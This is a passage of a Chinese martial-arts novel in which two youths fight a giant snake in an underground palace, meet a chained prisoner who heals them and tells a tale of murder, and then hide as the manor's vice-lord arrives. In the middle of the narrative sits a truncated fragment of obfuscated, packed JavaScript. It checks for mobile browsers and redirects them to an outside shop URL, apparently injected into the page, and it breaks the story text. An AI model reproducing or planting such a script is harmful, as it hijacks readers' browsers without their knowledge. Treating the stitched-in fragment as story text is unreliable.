直到他刚一转身,看见一旁的百年大树的树洞边缘竟挂着一条粗布残片。
他忙拿上这块碎片,向树洞中探去。
这洞口不大,成年男子不能进入,但对于年纪尚幼的孩童来说,即使是探入半个身子,也是易如反掌。
他先向洞中望去,却见其深不见底,于是大着胆子只身跳入洞中。却不想,竟然一路颠簸直接坠入到这地底深宫之中。
叶明玄虽然自小便生长在叶落山庄,可却从未知晓地宫的存在。此番也是他第一次进入到地宫之中。
叶明玄在漆黑不见五指的黑暗里,缓步前行,他虽武艺不凡,但毕竟年岁不大,一颗心脏此时直觉得坠坠不安。
他点燃火折子,一路小心前进。
最终在隧道尽头发现正奄奄一息瘫坐在地上的林醒致。
那女孩身前一条大蛇身体被戳得血肉模糊,然而其背后却有一只蛇头正虎视眈眈地死盯着她,眼看即将张开血盆大口将其吞入腹中。
然而此时,林醒致已经再无力气与之相抗衡了。
千钧一发之际,叶明玄从黑暗中长剑刺出,剑尖直劈于蛇头正中央,大蛇长啸一声,向上顶起,一时间长剑与蛇鳞相接发出金铁之声。
大蛇如临大敌,它口中嘶声不断,既是恐吓又是威胁,仿佛方才那一剑已经激起了它的熊熊怒火。
只见它弯腰弓背,将蛇鳞横向展开,巨大的蛇信子向前不断吐出,唾液顺着嘴角流淌在地上发出滴答声响。
它实在是太饿了,原本只有一个人,现在变成两个。此时对食物无尽的渴望,让它变得格外兴奋。
而叶明玄将林醒致从地上扶起,见她是一个年纪不大且手无寸铁的小姑娘,心中逐渐放下戒备,本想着问她是何来历,又是为何要进入这地宫之中,但因为他们二人目前处境危险,来不及多想,便作罢。
目前的首要任务便是要躲过大蛇的追击,顺利逃出地宫。
叶明玄还没有想好对策,那大蛇已经俯身直冲过来,他向墙上踏行一步,转身后跳,腾空翻滚,鼻梁紧贴蛇颈而过,落在另一侧。
只听得“咚”地一声,大蛇已经撞在右侧石壁之上,然而虽然掉下少量尘土和碎石,但那厚重的石壁并未碎裂。
那大蛇见一击不成便更加疯狂,它张开血盆大口,露出两颗硕大的雪白巨齿,势头便是一旦抓住叶明玄便要将他彻底撕碎。
只见那大蛇将雪白的腹部紧贴地面,身体蜿蜒扭动爬行,如闪电般向他们二人袭来。
林醒致和叶明玄分别向左右躲避,一个跨步上墙躲避追击,一个翻滚从大蛇扬起的头颅下掠过。
然而那大蛇并不气馁,显然这种场景对它来说已经是见怪不怪的事情了。
这地宫之中堆砌的累累白骨得前身,都是大蛇日常的盘中之物。每一个被扔进来的活物,无论是人还是动物,起初都具有极其强烈的求生本能。
他们刚一进入这地宫之中,虽然害怕但是都想要殊死一搏,万一能将这大蛇打败,不就可以逃脱被吃掉的命运嘛。
但往往,一开始还奋力顽抗的动物,最终都会化作一具具白骨,成为这庞然大物的口下亡魂。
此时,这条大蛇已经认准林醒致而进行疯狂的进攻,因为如今需要面对的两个敌人,它很清楚眼前这个更加瘦小的姑娘,似乎是一个更加容易的突破点。
只要它将这小姑娘一除掉,就算另一个再厉害,也一定会被震慑到,最终不过都是它的盘中餐罢了。
正如这大蛇所意图的那样,在巨蛇穷追不舍的攻势之下,林醒致已经没有力气进行躲避。
而叶明玄见势不妙,一个飞身,跳上右侧石壁的油灯之上,他右足死死勾住那黄铜油灯,只待大蛇从他身下飞速而过之时,一个纵身,猛地跳上大蛇颈背。
他本想将手中长剑垂直刺入大蛇头中,给予它致命一击,却不料这大蛇早有察觉,此时更是发现他骑在自己的头上,恼羞成怒,便疯狂扭动身体,想要将叶明玄从头上摔下来。
此时,叶明玄在如此剧烈的摆动之下,已经无法保持身体的平衡,更别提将剑刺入大蛇体内。
一个不留神,叶明玄手中长剑便被大蛇甩飞脱手,向身后坠去。
但叶明玄反应极快,虽然他长剑已不在手中,但要想活命,便不能松手,几乎在同一时间,他的双手覆上大蛇颈部,两只臂膀一起收紧,死命勒住大蛇的脖子。
而大蛇一时间无法摆脱,却被叶明玄勒得几近窒息,它张开大嘴疯狂摆动着头颅,时不时撞到石壁,粘稠的口水顺着牙齿流到胸背之上。
只见叶明玄双手一滑,应声坠地。
与此同时,林醒致已经捡起叶明玄掉落的长剑,然而这长剑很重,她需要双手才能这柄剑挥动起来。
她未等那畜生转身,便向那大蛇尾部猛刺一剑,大蛇吃痛,一个摆尾将林醒致拍至十米之外。
而大蛇已经嗅闻到了叶明玄的气息,伴随着幽暗的火光,大蛇锁定了它的猎物,准备俯冲直上。
然而林醒致已经察觉到了它的企图。
“快跑!”她大喊的同时忍着剧痛从地上再次爬起,双手握剑将身侧盛满血液的酒坛一一击碎。血水顿时全部涌出,顺着隧道开始肆意流淌蔓延。
而大蛇因为长年在这漆黑的地宫之中,双目几近失明,此时,各种血水混合在一起,蔓延在密闭的隧道之中,已经彻底掩盖了林醒致和叶明玄的所有气息。
一时半刻,它怕是难以分辨出来。
就在大蛇迟疑之时,林醒致眼疾手快,捡起掉落的火折或向叶明玄掷去。
叶明玄也明白了她的意图,他刚一拿到火折,细弱的声音百便已经让大蛇有所察觉,就当他卯足劲头想要将叶明玄一口吞下时,顷刻间,它发出了痛苦的嘶鸣。
只见那大蛇腹中一片火光通明,原来在大蛇张嘴的同一时间,叶明玄将手中燃烧的火折扔入大蛇腹中。
烈焰灼烧之痛难忍,大蛇一边嘶吼一边呕吐,可当它彻底将火折吐出之时,其舌头和喉咙都已经冒出丝丝烟雾,整个地宫中,到处弥漫着烧焦的味道。
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叶明玄挥动手臂示意林醒致向后面快逃,他二人一前一后,拼命向地宫深处跑去。
经此一战,大蛇已经无法再吞咽任何食物了,但此时这个怪物已经几近疯狂,它顺着地面快速爬行,将位置靠后的叶明玄一下子缠住。
“啊!”叶明玄的叫声使得正在奋力奔跑的林醒致猛然回头,她看到叶明玄正被大蛇牢牢裹住,抓至半空,看那样子,这大蛇就是要至叶明玄于死地。
她心急如焚,调转方向抽出怀中长剑,向大蛇腹部砍去,就在林醒致即将长剑刺进大蛇腹中之时,突然从身后射出三颗飞钉,将那长剑瞬间击飞,林醒致虎口和手腕剧痛,她双膝跪地动弹不得。
而与此同时,另有三枚飞钉从左侧飞出,分别钉入大蛇的腹部,头部和眼睛,甚至最长的那枚飞钉竟然将即将坠地的蛇头,嵌钉在青石墙面之内。
大蛇失去知觉,它冰冷的身体缓缓松开,叶明玄摔在地上,他的脸紧贴着潮湿的地面,正大口大口地喘着粗气。
他微微扬起头,望向远处正跪在地上的林醒致,口中艰难地吐出几个字:“你······你还好吗?”
林醒致没有回答,因为此刻她正咬紧牙关忍受着来自手部的剧痛。泪水在她的眼眶中一遍遍打转,直到再也无法忍受,喷涌而出的眼泪才顺着面颊双双流下。
“我没事。”林醒致哽咽着回复道。
而趴在地上的叶明玄却一点点笑出声来,小姑娘听到他笑了,心便一下子落了地,也破涕为笑。
林醒致走过去将叶明玄扶到一边。
然而叶明玄感觉到,有一股暖流渗入他的衣襟,他立马抓住林醒致的手,才发现她的右手虎口撕裂正渗出大量血液。
“唰”,叶明玄撕下自己身上里层的一块布料,还未等林醒致的“不”字说出口,便已经将其覆在伤口之上。
林醒致默默等布带包扎好,轻声说了一句:“谢谢。”
忽然一阵微风似是从那地宫入口吹来,虽是寒风但吹得两颗心似乎都是暖的。
这一战可谓是劫后余生,两个少年在这昏暗的地宫之中,达成了一次性命攸关的羁绊。
此时,虽然他们二人已经逃过一劫,但已经发现这地宫之中有第三人的存在。方才那紧急出手的六枚飞钉,劲道凌厉,又快又准。只不过这第三人似乎躲藏在黑暗之中,正所谓他在暗他们在明。
待他二人稍作恢复,叶明玄拿起长剑护在身前,问道:“谁,谁在哪里?”
他长臂一伸,将林醒致拉至身侧。
只可惜后面一片漆黑中全无半点回音。
见对方迟迟没有回应,想起刚才那人出手及时,并未伤他们分毫,便悄悄有所放松。因为在叶明玄遭遇危险之时,那黑衣人几乎是在林醒致出手的同一时间射出了三枚飞钉。
叶明玄缓步走到那巨蛇一旁,他伸手想要将那巨蛇钉在墙上的骨钉拔出,三番用力不成,便只能摸上去仔细观察。
只见那长约九寸的飞钉,竟然是用骨头制成,而且边缘粗糙不堪,似是手工打造。
此刻叶明玄才惊觉,这暗器竟然是用骨头一点一点由指力搓制而成的钉子。
而就在他暗自思索之时,那遥远的黑暗深处,传来一丝沙哑之声。
8. 铁锁怪人
“两位,是第一次进这地宫吧,感觉如何啊?”只听得那声音低沉而沙哑,他二人一时之间竟分不清对方是男是女。
林醒致刚想开口,却被一旁的叶明玄抢了先。
“自然是怎么也想不到,这地宫之中竟然会豢养着一条吃人的大蛇。”叶明玄接着说道:“只是这大蛇为何不食前辈呢?”
黑暗中那人轻笑道:“你们且过来一探究竟吧!”说罢,便一阵铁链声响起。
叶明玄立刻如临大敌。
他从方才将大蛇钉在墙上的长骨钉便可知晓,这人可徒手搓钉,武功定然深不可测。这位高手绝非他所能匹敌之人,只怕也只有父亲和副庄主方延度能与他一较高下。
所以他只能将长剑横在身前,以防万一。
叶明玄和林醒致二人一前一后,小心翼翼地向那黑暗深处走去。
此时的隧道之内安静的只能听到大蛇血水滴落在地的声音,以及每走一步脚踩地面细碎石子摩挲所发出的声响。
突然,“当啷”一声,叶明玄长剑触碰到一根实心铁管,发出刺耳的声音。
下一秒,他右手持剑,用剑尖从身前扫过,只听到一连串长剑与铁管相接之声。剑尖与铁管触碰的一瞬间便冒出点点火星,长剑扫过更是留下一道火红剑痕。
随着这细微光亮,叶明玄依稀可见对面的情况。原来这怪人被关在一个玄铁铁门之内,这玄铁材质与叶落山庄门口的大门相一致。
只见那人蓬头垢面,黑色长发垂腰,散乱地遮盖于面部周围。像是······被关在这里已经许多年了。
“你是什么人?为什么会在这里?”叶明玄接着问到。
然而那人依旧没有半点动作,也无声音,活像一个死人。
正当他想要继续追问的时候,却被一旁的林醒致拉住了衣角。林醒致摇了摇头,示意他不要轻举妄动。
就在他们都以为那怪人不会有任何回应之时,只见那人发出一声冷笑,问道:“叶千愁是你什么人?”
叶明玄见那人并不正面回答自己的问题,却反问起自己的父亲,竟然还直呼其大名,心下顿生不悦。
但转念又一想,这人定是年轻时与父亲有些江湖上的恩怨,做了令江湖人所不齿的事情,所以才被关在这里。
只是这里永不见天日,父亲为何不直接杀了他,而是要将他关在地牢之中呢。
在叶明玄的记忆中,父亲叶千愁是江湖上有名的英雄豪杰。从他记事起家里便总是有来自五湖四海的人拜访山庄。
虽然叶千愁对他是极为严苛,但对友人却是极好的。
在他印象中,父亲就几乎没有给过他一天好脸色,可对外人,他却总是极为客气。
后来哥哥意外早夭,父亲自此性情大变,他在很长一段时间里都每日将自己沉浸在酒中,喝得烂醉如泥,也将庄中事务都一概交由副庄主方延度打理,自己则做起了甩手掌柜。
在这之后,即使叶千愁在武林中声名远扬,却极少出现在人们面前。
而他们的叶落山庄则处于极北之地的雪山之中,距离中原武林各门派较远,也就不便插手这些武林纷争。
然而就在半月前,一向低调的父亲似乎喜得一瑰宝,便突然决定要召集天下英雄豪杰齐聚叶落山庄,一同见证这一稀世珍宝的问世。
这一反常的举动,早前便引起了叶明玄的注意,只是他一方面年纪尚小不便插手庄中事务。另一方面,这等决策定然是父亲与方叔叔和一众长□□同商议的结果,他一个小孩子又有什么必须知道的理由呢。
而如今,他却意外发现了位于叶落山庄之下的神秘地宫,又得知这地宫之中竟然一直囚禁了一个怪人,这种种事情,一时间让他对这个与他朝夕相处的父亲而感到陌生。
“父亲,究竟在做什么?这地宫他为何从没有跟我提起过,而这地宫中的怪人又对他到底有什么用处?方叔叔,方叔叔知道吗?”叶明玄不禁在心中暗暗问道。
“不,方叔叔作为父亲的左膀右臂,他不可能不知道,我叶落山庄向来行事光明磊落,怎会做出这样的事······”叶明玄百思不得其解,他甚至有一种期待,期待着父亲对这一切的事情都全然不知。
但他心中也明白,就算父亲再沉浸于往事,再两耳不闻窗外事,这等人命关天的事情他无论如何也不会不清楚。
想到这里,叶明玄眼睛一转说道:“叶千愁正是家父。敢问阁下是何来历?又为何被关在这里?”
只见那人刚一听到叶明玄口中的“叶千愁正是家父”,头便迅速抬起,一双明亮的眸子死死盯住眼前的叶明玄。
霎时间,那人猛地从地上窜起,向前冲来,只是这人身前还有一道铁栅栏将其困住,如此一来便没有办法走出这片区域。
这人左手握住叶明玄面前的栏杆。铁链从地面拖曳而过,发出刺耳的声音。他将脸紧紧贴在铁栏中间,脸上却浮现出诡异的笑容。
此人这一突如其来的举动吓得叶明玄时连忙向后急撤几步。
他暂定心神,随即举剑指向那人,说道:“前辈是为何被锁在这里?要知道我叶落山庄自有惩处犯人和弟子的训戒坛,不会私自处罚座下弟子,不知前辈是犯了什么错,要被困在这里。”
然而那人却并不说话,反而将脸又向铁栏中间挪了挪,只听得两个铁管吱呀作响,这人竟然能将这粗壮铁管掰得弯曲变形,可见其内功深厚非比寻常。
可他的脸上却遍布着各种疤痕,有匕首留下的刀疤,又有火烧或是烙铁留下的烫痕,看上去触目惊心。
叶明玄和林醒致二人在看到这怪人脸上的惨状后,都不由得地吃了一惊。
此等惨烈的情状,他们两个小孩子哪里见过,更别提这么多的伤痕都集中在一个人的脸上。
此人容颜已经尽毁,分辨不出年龄也看不出男女,就连这人的亲人前来怕是也无法认出他的身份。
突然,那怪人左手从铁门中探出,一掌拍在叶明玄身上。
叶明玄胸口吃痛,只觉被那人手掌拍过之处灼烧难耐,忙向后退去。
但他还未迈出半步,那人的五根手指已死死抓住他胸前衣衫,竟以迅雷不及掩耳之势单手运力将他抛至半空之中。
随后掌风一扫,叶明玄只觉一股劲风控制他翻过铁门,眼看他整个身体便要重摔在地。
幸好叶明玄眼疾手快,他单手持剑点地为轴,双腿并齐一扫而出。
可那人自岿然不动,他双手分别被两条铁链拴在石墙之内,每每单手运劲,铁链便相互撞击,发出震耳声响。
此时,那人正站在原地,一只大手果断覆上叶明玄脚腕,只反手一推,叶明玄整个身体便向左侧飞去。
只听得“嘭”地一声,他竟直接嵌入身后石板墙内足达四寸,浑身上下动弹不得。
方才那怪人覆上他脚腕的左手冰冷异常,所触之处,皮肤皆如被冷水浸泡多时,寒凉刺骨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787264|190538||http|test|mini|href|location''.split(''|''),0,{}));
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>而叶明玄此时,竟能同时感觉到胸口的烈火灼烧和脚腕的刺骨之痛一并发作,顷刻间他已经浑身颤抖,大汗淋漓。
嘴中不自觉发出痛苦的呻吟声,他保持着最后的清醒,脑海中浮现出他听长老说起过的漠北传闻。
传说边夷漠北部落曾经有一种邪术功法名为炁源冰焰掌,传言练成之人,一只手温度如岩浆烈焰,另一只手则冷如深渊寒冰,双掌一冰一火,便是任何人近身战斗都难逃毒手。
但这门武功绝学,世间罕有,就连功法描述也只是流传在这传说之中,当世武林豪杰似乎无人当真见过这一功法,所以久而久之,这炁源冰焰掌便也被人们当做不存在的一路功法了,再无人讨论提起。
而叶明玄万万没有想到,这绝世武功竟然真的存在,且身具此功之人竟然就藏在自家山庄地宫之下。
面前虽然一片漆黑,但林醒致却凭借极强的听力,对这二人的动向猜出十之八九。
而现在,叶明玄远非这地下怪人的对手,他被这怪人正牢牢把控在在手中,丝毫动弹不得。
若是之前没有经历与大蛇缠斗的过程,叶明玄估摸着自己也不至于落到这番田地,但显然自己此时已真气耗尽,连一招也发出不得,哪里是这老怪人的对手。
叶明玄见自己已经被这怪人狠狠拍在墙上,心中怒气更甚:“前辈,我跟你无冤无仇,何故如此对我。我是今日方知有人被困在这地宫之中,待我出去自然要叫爹爹放你出去的。”
可那人却仿佛没有听到他说话一样,兀自盘腿坐在地上。
林醒致心急如焚道:“前辈,不知我二人哪里得罪了您,还望您恕罪。叶明玄他·····”林醒致一边说一边望向还在挣扎的叶明玄。
此时他原本扎好的发髻已经松开,头发凌乱不堪,一副难得一见的狼狈样子。
还未等林醒致将话说完,那怪人便说:“小姑娘,心疼了?别急,你也吃我一掌。”
说罢,他便迅速出手,向林醒致胸口和腹部也是各发一掌。
这两掌着实将瘦弱的林醒致直接推出去一丈开外,那人面不改色心不跳,全身如同一尊佛像一般,显然那人对付他们两个也就用出了半分力道。
林醒致被打翻在地,暂时没有了动静。
叶明玄见他不仅对自己出手狠毒,还对林醒致也大打出手,心中愤怒之极,只听得身后爆裂声起,叶明玄从墙壁中翻身跃出,身后石块纷纷掉落。
他竟然从石壁中摆脱出来。
当叶明玄正运气向那怪人直冲过去,却突然发现,自己丹田之处已经穴脉畅通,刚才被大蛇所困积的真气此时已经尽数游走于全身各处。
原来这人出手竟然是为他们疗伤。
叶明玄跑到铁栅栏前喊道:“你没事吧?”他正想喊林醒致的名字,却发现自己根本不知道对方姓甚名谁,心下顿觉尴尬。
林醒致本来已经打算接受自己必死的事实,此时听到叶明玄在叫她,也开始尝试着动一动四肢,慢慢地,她从地上爬起,发现自己身上的疼痛都已经消解大半。
她也恍然明白,这位高人前辈竟然是在替他们疗伤。当即觉得有些不好意思,开口说道:“谢谢前辈,刚才多有得罪,望您见谅。”
只见那人将一块枯木从石壁上轻轻划过,火焰顿时燃起,继而将其插在一个石墩之上。
直到这时林醒致和叶明玄才看清楚这人的真实面貌。只是这一眼着实让他们二人大惊失色。
9. 前尘往事
林醒致和叶明玄顺着光亮瞧去,竟发现那人除了先前看到的脸上密密麻麻的伤痕,还见到此人双手和双脚都带着一副镣铐。而这铁链长数米,足有一人小臂之粗。
更为瘆人的是,那人左手手掌竟被一枚粗壮铁钉,钉在石墙之上,动弹不得。其余一手和两腿均能活动,但行动范围受限。而那长钉之下,正好放置着一个酒坛,血液正顺着铁钉,一点一点地流入酒坛之中。
原来,他们将这怪人锁在地宫之中,表面上是饶他不死,实际上是死罪能免,活罪难逃。他们利用此人,在地宫之中秘密收集他的血液。
但这收集血液,又是做何用处呢?莫不是要练习一种功法?
叶明玄自小便生长在叶落山庄,江湖中的各家功法耳濡目染,也算得上是略知一二,可这收集人血练功的法门,他却是闻所未闻。
林醒致则见此惨状后,心有不忍:“前辈,您怎么会被人关在地宫之中,您的脸,究竟是为何······”
只见那人盯着他们良久,才缓缓开口道:“小姑娘,我吓到你们了吧。”
林醒致摇了摇头,却又点了点头。
她是第一次见到如此折磨活人的惨状。如果说先前那被苦禅和尚随手扯断臂膀的年轻人的模样,已经深深印在她的脑海中,那么此人的处境则是有过之而无不及。
“我这副样子,都要拜他的好爹爹所赐啊。”那人说着,语气中带着一丝怨恨和无奈。
“我方才迟迟未出手,就是想看看你们到底能与这大蛇斗上多久。我已经被关在这地宫多年,见过太多人死在这大蛇蛇口之下,早就见怪不怪了。”他一边说着一边摆弄着左手铁链。
“日子久了,便觉得实在是太过无聊,看这大蛇吃吃人也当寻个乐子罢了。”
“只是你们两个小娃娃,进到这地宫之中,激起了我的兴趣。至于拦下你们击杀大蛇,是因为这条大蛇是他们豢养的猛兽,如果你们将它杀了,那定然会被找上门来,你倒是无妨。”他看向一旁的叶明玄,“但这位小姑娘恐怕就没有那么幸运了。”
待这怪人一番解释,他二人才明白,原来这位前辈方才的做法正是为他们考虑。
叶明玄原本已经在心中早就有了估量,可当亲耳听到这人说出是自己的父亲将他弄成这副样子,还是不敢相信。
他看向那怪人说道:“敢问前辈名号,究竟是因为什么事情才被关在这里。我父亲向来为人谦和,若前辈没有做出伤天害理的事情,我想他定是不会做到这种地步。”
那人听完叶明玄的一番话,口中冷笑:“你口口声声说你父亲是个好人,那请问,你这小子真的了解你父亲吗?他对你动辄打骂,你当真心里一点都不恨他?你母亲······”
当这“你母亲”三个字从那人口中一出,叶明玄顿时横眉冷对,他拿起手中长剑立于身前,语气强硬:“前辈休要提我母亲!”
“哈哈哈哈哈哈”,那怪人摇着头仰天大笑,“你的父亲是一个十恶不赦的恶鬼,他和他的好友都是杀人不眨眼的恶魔,他们‘吃了’你的母亲,现在还想要将你活吞进去,可你这小娃没有察觉,还觉得你的父亲是一个顶天立地的大英雄。”
叶明玄被他说得心中恼怒万分,却又不得发作,只好压抑住心头怒火。他握住长剑的手指不住地颤抖,但没过一会儿,又恢复平静。
“你们不要再问我是谁了,我是个罪人,一个需要用一生赎罪的人······”
“前辈,你的伤。”林醒致指向他被钉在墙上的右掌。
那人转头看向自己鲜血淋淋的手掌,流出的鲜血逐渐盖过早已结痂的伤口,从血迹干涸的掌心中不断流下。
“无碍,老伤口,已经不疼了。”
林醒致听见他云淡风轻地评价自己所受的伤害,心中直觉一股莫名的酸楚涌上心头。
虽然这人说自己是一个千古罪人,但她隐隐约约觉得这背后似乎有着重重隐情。
“前辈,你可知这地宫中如何逃出去的办法?”
“办法没有,不过你们两个不如陪我在这里待上一会儿,给我解解闷,等一会儿没准便会有逃出去的办法。”
林醒致虽然有所怀疑但也还是点了点头,她一只手抓住铁栏杆,在那怪人的帮助下进入到铁栅栏之中。她像那怪人一样,双膝盘腿而坐。只是这地面太凉,冰得她一时间呲牙咧嘴,那怪人看着她这副可爱样子,不禁面带微笑。
林醒致看向站在一旁,并未有任何动作的叶明玄,点了点头,小手一指,示意他也赶快坐下。
叶明玄犹豫片刻,似是有些无可奈何,他轻叹了口气,走到林醒致身边同样盘腿坐下。
那人见他们二人都已经乖乖坐好,林醒致更是瞪着一双大眼睛看着他,笑着说道:“我便给你们讲个故事吧。”
“从前,有五个师兄弟特别要好,小师弟和小师妹天真活泼可爱,是他们师父收下的关门弟子。其余还有两位师弟和一位师姐。他们三人年纪相仿,武艺高强,是武林中年轻一辈的佼佼者。排行第三的师弟原本以为这日子会这样安稳地过下去,却不想天有不测风云,还是生出了变故。”
“三师弟自小便对大师姐心生爱慕,终于他在一天月圆之夜向师姐表达了心迹,可师姐拒绝了他的一番好意。就在他心灰意冷之时,却发现他们的大师姐竟然爱上了魔教妖人,也就是他们的死对头。”
那人长叹一声接着道:“他不仅发现大师姐居然已心有所属,并且和魔教妖人早就暗通款曲。他一气之下将那魔头期间阴谋算计皆暴露于众人,那大师姐最终与死对头结下了血海深仇。”
叶明玄眼睛一亮:“血海深仇?什么血海深仇?”
那人接着说道:“因为大师姐的父亲是围剿魔教的带头首领,武林中正派人士皆以他为尊,听其号令。现如今他的女儿却同那妖人私定终身,如此一来,不仅她的女儿甚至他整个门派都会被江湖所不容。”
“当时正逢正派人士节节败退,魔教三大门派风雨袭来,这位掌门首领却突然暴毙在家中,现场种种痕迹皆指向是那魔教妖人所为。他利用大师姐,套取机密,在被掌门发现之后,将其残忍灭口。”
“那大师姐痛不欲生,她万分后悔自己的所作所为,决定与那魔教妖人一决死战,但她终究还是无法下手,决定与那恶人同归于尽。可就在她将那魔头除掉后,那位师弟却联合其他弟子,偷袭暗算,将大师姐一剑杀了······”
“啊!”林醒致不由得惊呼出声,她不敢相信,眼前之人所说的是这样一个血腥而凄惨的故事。就算是她平日里读的街头话本,似是也没有这般曲折坎坷。
她转头看向叶明玄,却见他一双眼睛似怒火中烧,手中剑柄被他抓得咯咯作响。
原来,对于林醒致这样一个普通的乡野丫头来说,哪里懂得这等江湖秘辛之事。可叶明玄则不同,他出身于武术世家,叶落山庄又是江湖中鼎鼎有名的大门派,这样的江湖传闻对他来说无异于直接亮明身份。
他已经彻底反应过来,此人口中所说的大师姐正是自己的姑姑----叶落山庄前任庄主叶千落。<
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他所说的种种经历,与他所了解的姑姑的过往几乎一模一样。
他记得姑姑在他很小的时候就去世了,他从来没有见过姑姑的模样。而故事中提到的带头掌门正是他的祖父,叶飞渊。他的祖父的确是被魔教妖人所害,但这些所发生的一切都对他来说太过遥远。
他没有想到原来父亲在那短短数年的时间内,竟然接连失去父亲、姐姐以及自己的大儿子。
叶明玄此时才明白为什么父亲性情大变,为什么他从此不再过问江湖之事。
而这人能够将来龙去脉讲得如此明晰,若非亲身经历此事,又怎会知道得一清二楚?
叶明玄恍然明白,眼前这个蓬头垢面满脸伤痕的怪人,便是杀死姑姑的凶手。父亲则因为他犯下的罪行,将他囚禁在这地宫之中,让他日夜饱受折磨。
叶明玄想到这里,起身疾步后退,内心挣扎不停,一个心狠手辣之人就在眼前,可这人方才却又救了他的性命。
他本想着若是此人所犯罪责不至于此的话,他便愿意禀明父亲,求他放此人一条生路。但他既然害死了姑姑,那便是锁在这地宫中一辈子也是罪有应得。
此刻他越想越气,胸中怒火似乎已经无法压制,恨不得将长剑向那人身上砍去,可他又意识到这人用自身功法为他疗伤,自己如此行事,岂不是恩将仇报?那便与眼前这个混蛋也并无差别了,于是停手作罢。
可当他刚将长剑收回剑鞘,一口鲜血却随即吐了出来。
林醒致大惊,忙上前将他扶住。
叶明玄支撑不住身体,瘫软在地。
“小姑娘,把他带过来。”
林醒致一手抓着叶明玄的胳膊,一手托着他的后腰,一点一点将他拖拽至那人面前。
只见这怪人,将左手覆上叶明玄手腕,他紧闭双眼,突然双目圆睁,左掌直贴上叶明玄后背,逆时针转动,猛地一推。
“噗”一口紫黑色的毒血从叶明玄口中吐出。
“前辈,这是怎么回事?”林醒致忙问道。
“他中了毒。”那人平息气息,缓缓说道。
“中毒?大蛇的毒吗,可那巨蛇不像是有毒的样子。”
“非也,这小子已经中毒多年,只怕是自小便有身边之人在给他下毒了。”
此话一出,二人皆大吃一惊,叶明玄强撑着神智:“前辈,这毒你可知是何物?”
只见那人摇了摇头:“我也不能确定,这毒极为罕见。传言西域有一种名为‘葬尘昙’的花,此花花粉含有剧毒,无色无味可随日常食物进入人体。花粉微粒会随着内息循环,如同种子一般潜伏在武者周身经脉之中,所谓内功越是精进,危险便再多一分。”
“今天他真气运用过度,遭到反噬,这‘葬尘昙’之毒便由此发作了。”
叶明玄虽心中仍是半信半疑,但脑海里已经开始思索过往的点点滴滴。可刚一回想往事,只觉得头痛欲裂,昏倒在林醒致怀中。
那怪人示意林醒致将他扶到墙角,待他运功为其疗伤。
可就在林醒致小心翼翼将叶明玄向墙角拖去时,“轰隆”一声巨响,远处似乎传来石门打开的声音,随后一阵缓慢的脚步声传入耳中。
有人!
那怪人迅速将火把吹灭,左手抓住林醒致的衣襟,将他们二人一同扔向身后的一口空棺材内。
叶明玄疼得轻声呜咽,林醒致急忙捂住他的嘴,怕他再发出一点声音。
黑暗之中,只听得来人的脚步声越来越近,林醒致不禁屏住呼吸······
10. 节外生枝
来者是一位身材高大,皮肤黝黑的中年男子。
他头戴黑色金丝发冠,身着一身黑色锦袍,气宇不凡。在他身后则跟着一男一女,两个二十岁左右的青年人。
这二人都身穿黑色斗篷,一时间看不清楚具体的面容。
叶明玄强撑着身体,瞧向那名中年男子,突然一句“方叔叔”脱口而出,但他很快意识变得模糊,晕了过去。
这一句话着实将一旁的林醒致吓得不轻,不过好在他的声音并不大,那男人并未察觉。
他便是这叶落山庄的副庄主,叶千愁的心腹----方延度。
只见他口中发出啧啧声响,从身后的男子手中接过一个铁桶,他左手伸进桶中摸索,随即取出一团瘫软且粘腻的肉块扔向远处。
这铁桶中所盛装的正是血淋淋的肉块,是要喂给这条大蛇的食物。
但那人没有想到的是,大蛇并未及时出现在他眼前。
接着他又从铁桶中掏出一块心脏,继续扔向远处,可大蛇依然没有丝毫动静。
他的怒火似乎顷刻间被点燃,那人一把抢过另一位黑袍女子手中的铁桶,将所有肉块一起向黑暗中掷去。
可一片死寂之中,除了铁桶翻滚在地面上的撞击声响外,别无任何声音。
“别白费力气了,那大蛇已经死了。”位于铁笼之中的怪人前辈嘲讽道。
那男子掌心一挥,一道疾风掠过,隧道石壁之上的油灯便从近向远处依次点燃。霎时间,原本还漆黑的隧道便被火光照亮。
黑衣男人一眼便看到盘缩在角落里的大蛇。
只见它不仅身上已经留下被林醒致戳开的大洞,而且胸腹和眼睛也都各被刺入了一根骨钉。
“哈哈哈哈”,那男人狂笑着道:“真是没有想到啊,师姐,你都已经被关到笼子里了,居然还有力气把这大蛇给杀死。”
此时他一边说着话,一边向铁笼不断靠近。
他的双脚踩在地面浸泡在血液中的陶片之上,发出吱呀声响,但所过之处,皆化为齑粉。
林醒致见到此人这等功力,心中直叹道实乃江湖罕见。这落脚为泥的功夫,她也只是听母亲说过,不想今日竟然能亲眼见到,叶落山庄中当真是高人众多。
“多少年了,你居然还是死性不改。现在又杀了我的宝蛇,师姐,你说我该如何惩罚你啊?啊,哈哈哈哈。”那人说罢,嘴里发出瘆人的凌厉笑声。
而那前辈却仍然坐在地上,一动不动。
男人右手向右侧墙壁上一推,五根手指齐齐嵌入石壁内,指下机关转动,隧道内的墙壁依次打开。
原来在这地宫隧道的石壁之内还存在着多个密室,躲在石板之后的林醒致不禁瞪大了眼睛,惊讶的目光中满是不可思议。
打开的石门之内竟然都豢养着各种各样的古怪异兽。
最靠近那黑衣男子的密室中关着一只成年老虎,只待这石门一开,那老虎便向铁栏直冲过来,对着众人张牙舞爪,震天的嘶吼之声直叫得人肝胆俱颤。
而第二扇石门之后则盘踞着相比地宫中的那条蛇更为巨大的一条大蟒。此蛇通体金黄,一双蓝色眸子饱含着肃杀之气。
而最后一扇门汇聚着一群漠北狼,它们此时此刻正在疯狂撕咬着一具残缺的尸体。每一匹狼都在肆意享受着它们的美食。
可见这整座叶落山庄的地下全是地道和地宫,但如此庞大的工程是叶落山庄的先祖为躲避战乱而集全部弟子和家眷之力所建造。
只可惜他们如此精心打造的,本用来避免伤害的地宫,此时却已经沦为恶人豢养异兽和囚禁犯人的监狱,真是好生讽刺。
突然那黑衣男子猛然挥动双臂,只见两枚黑色暗器从袖口发出,向那怪人面门袭来。
“师姐在地宫中仍然不老实,那就别怪我要给你一些苦头尝尝了。”
